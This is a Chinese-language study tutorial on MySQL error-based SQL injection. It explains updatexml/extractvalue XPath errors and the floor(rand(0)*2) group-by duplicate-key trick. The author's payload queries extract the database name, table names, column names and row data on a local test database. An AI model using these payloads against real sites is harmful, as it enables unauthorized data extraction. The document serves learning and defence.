一.什么是报错注入
1.相关概念
[概念1:盲注]
盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
[概念2:报错注入]
页面上没有显示位,但是会输出SQL语句执行错误信息。比如mysqlerror()函数的报错信息。
区分开无显示位
和无回显
的区别,union无法作用在两者情况下
无显示位不一定是无回显,但是无回显一定无显示位
2.特征及适用场景
1.特征:
SQL报错注入就是利用数据库的某些机制,人为地制造错误条件
使得查询结果能够出现在错误信息中
。
2.应用场景:
这种手段在①联合查询受限
且②能返回错误信息
的情况下比较好用。
3.报错注入的分类
1.Biglnt等数据类型溢出
2.xpath语法错误
3.count()+rand()+group by()导致主键重复
4.空间数据类型函数错误
本文学习:
- xpatah语法错误
- count()+rand()+group by()导致主键重复
4.xpath相关知识学习
1.相关概念简单学习
[概念1:XML语言]
含义:可扩展标记语言(eXtensible Markup Language)。
作用:传输数据而非显示数据(区别HTML语言)
一个网站可能用php、java、python等其他语言开发,这些语言可以通用xml类型文件进行数据规范、数据传输
[概念2:Xpath语言]
一门专门用来查找XML数据内容的一门语言(也可以叫做规范)
用来在XML文档中对元素属性进行遍历
2.MySql相关的xml函数
从MySql5.1.5开始提供了两个XML查询和修改的函数:
--1.updatexml():适用于5.5.5-5.5.49版本
updatexml函数格式:updatexml(xml_document,xpath_string,new_value)
①xml_document:xml文件的名称
②xpath_string:xpath格式的字符串
③new_value:替换查找到的符合条件的数据
功能:简单来说,查找一个字符串,并进行替换
--2.extractvalue():适用于5.1.5+版本
extractvalue函数格式:extractvalue(xml_document,xpath_string)
①xml_document:xml文件的名称
②xpath_string:xpath格式的字符串
3.与报错注入的联系
--1.联系
我们在xpath_string
处也就是第二个参数那里传入不符合xpath格式的特殊字符
,并加上一些查询语句
,mysql就会把错误和查询语句的结果报错显示出来。这就是xpath报错注入的原理。
--2.注意事项
①必须是在XPath string
处传特殊字符,mysql才会报错。
②同时我们还需要注入命令,没这么多位置,所以要用到concat函数
。
③xpath只会对特殊字符进行报错
,这里我们可以用16进制的0x7e(~)
来进行利用。
④xpath只会报错32个字符
,对于输出结果大于32个字符的命令要用substr函数截取后分段输出
,
5.虚拟表相关知识学习
1.count()+group by
[关键:]count()+rand()+group by()导致主键重复
原始表
select * from users;
id为主键,同为adam的有4个(id分别为1,4,6,8),同为nsb的有2个(id分别为2,3),同为nsb1的有2个(id分别为5,7)
执行以下命令1:select * from users group by name;
id本身作为主键,唯一且不为NULL,所以在虚拟表中只会出现1个id,且是第1次的id,(第1次的id是1)
group by name之后,name将作为虚拟表的新主键,因此,重名的name将会被删除,只留下1个唯一。
group by语句
1.语法:
select column1, aggregate_function(column2) from table_name where condition group by column1;
①column1:指定分组的列
②aggregate_function:对分组后的每个组执行的聚合函数
③table_name:要查询的表名
④condition:可选,用于筛选结果的条件
2.知识补充:MySql中的聚合函数(5个)
①avg()求平均数,只能适用于数值类型,不含NULL
②sum()求和,只能适用于数值类型,不含NULL
③max()求最大,适用于数值类型、字符串类型、日期时间类型的字段(或变量)不包含NULL值
④min(),求最小,适用于数值类型、字符串类型、日期时间类型的字段(或变量)不包含NULL值
⑤count(),计数,计算指定字段在查询结构中出现的个数(不包含NULL值)
原理:
执行以下命令2:select *,count(*) from users group by name;
--一个分组的情况
count( * ) 效果和count(phone)、count(id)效果一样,结果一样,都受主键的约束
执行以下命令3:select *,count(*) from users group by name,phone;
--两个分组的情况
count( * ) 效果和count(phone)、count(id)效果一样,结果一样,都受主键的约束
只需要保证name和phone不全相同即为不重复
2.rand函数
1.rand()
随机生成一个[0,1)范围的随机小数,每次执行结果均不相同
命令:select rand();
执行第1次
执行第2次
2.rand(数字)
命令:select rand(任意数字)
--任意数字象征着"种子"
特性1:每个种子对应固定的随机数值
特性2:随机数种子相同,但是行不同,产生的随机数也不同
特性3:带有小数的时候,小数部分"小于0.5"是一个随机数,"大于等于0.5"是另一个随机数
区分在于有小数的时候,例如1.1和1.9他们是在1.1<1.5的区间和1.9>=1.5的区间,产生的随机数也不一样,无论小数位数怎么变依旧如此,例如rand(1.1)结果和rand(1.123)是一样的
任意数字取1.1执行多次
任意数字取1.9执行多次
任意数字取0多次
3.floor函数
floor(任意数),向下取整该数 "<=该数且为整数"
命令1:select floor(1.5);
命令2:select floor(-1.5);
4.rand函数与floor函数搭配使用
例如:生成[5,10]之间的随机整数
rand()范围是[0.1),则6*rand()+5的范围是[5,11)
则floor(6*rand()+5)的范围是[5,10]
命令:select floor(6*rand()+5);
6.相关报错注入命令执行原理
前置知识:floor函数、rand函数、group by语句特点(虚拟表)
1.先通过正确的命令来学习报错原理:
命令1(未进行分组):select count(*),concat((select database()),0x7e,floor(rand(0)*2))as A from information_schema.tables;
分析:
①concat连接的是 ~、database()、0
②as A表示将前面的concat((select database()),0x7e,floor(rand(0)*2))
作为A
③表information_schema.tables也可以换成自己的表
命令2(进行分组):select count(*),concat((select database()),0x7e,floor(rand(0)*2))as A from users group by name;
分析:
因为group by分组后显示的只有3行,每行都要被concat和count操作一遍(聚合函数),而由于
"rand(任意数)"的特性 ,即相同随机数,不同随机行也会产生不同随机数
。因此搭配floor和数值乘以2可以显示出"test ~ 0"或者"test ~ 1",且只有这两种显示:要么是0,要么是1,在[0,1]区间内的整数
2.主键报错显示数据库名
注意:这里的test是我自己的数据库名
命令1:select count(*),concat((select database()),0x7e,floor(rand(0)*2))as A from users group by A;
分析:
即以A=concat内容("test ~ 0"或"test ~ 1")进行主键排查报错,因为不能有两个相同的主键
3.主键报错显示表名
命令1:select count(*),concat((select table_name from information_schema.tables where table_schema='test'limit 0,1),0x7e,floor(rand(0)*2))as A from information_schema.tables group by A;
--这里得到第1个表名为people
分析:
①与"主键报错显示数据库名"的区别在于,对应位置替换成了对数据库表名的查询SQL语句,且增加了limit的限制,因为报错只能报错1行信息,因此可以通过对limit后面参数的payload进行表名爆破
命令2:select count(*),concat((select table_name from information_schema.tables where table_schema='test'limit 1,1),0x7e,floor(rand(0)*2))as A from information_schema.tables group by A;
--这里得到第2个表名为users,相比命令1只是把limit的"0,1"参数改为了"1,1"
4.主键报错显示列名
命令1:select count(*),concat((select column_name from information_schema.columns where table_schema='test'limit 0,1),0x7e,floor(rand(0)*2))as A from information_schema.tables group by A;
--这里得到第1个列名为ch_name
5.主键报错显示数据
已知该表people为:
命令1:select 1 from (select count(*),concat((select (select (select concat(0x7e,ch_name,0x7e))) from people limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a;
实际上这里有一个待解决的问题
发现:当把ch_name的数据类型设置为var(数字小于等于236)时,利用该语句可以显示报错,
但是当把ch_name的数据类型设置为var(数字大于236)时,利用该语句不会显示报错。
不明白为什么会这样,这一点可以用于该注入类型漏洞的防护
相比之下,phone字段是int型,设置为int(255),即使数字255大于236但是仍然会报错,不知道原因为啥
也就是说,此类主键报错语句比较针对数据类型及数据类型的长度,在防护层面可以多考虑这一点
我这里的数据库版本为5.5.53
6.注意事项
1.由于"and"连接前后的值一定是布尔值(非0即1),所以and之后的[select 1(任意数字) from table;]是为了使结果为1和and前面的值相匹配,一般用来当做判断子查询是否成功
2.select 1 from table;
这里的table就是我们后续用到的虚拟表方法,虚拟表也是个表,重命名是为了便于代码更加易读性,因为层层嵌套的select语句对初学者不太友好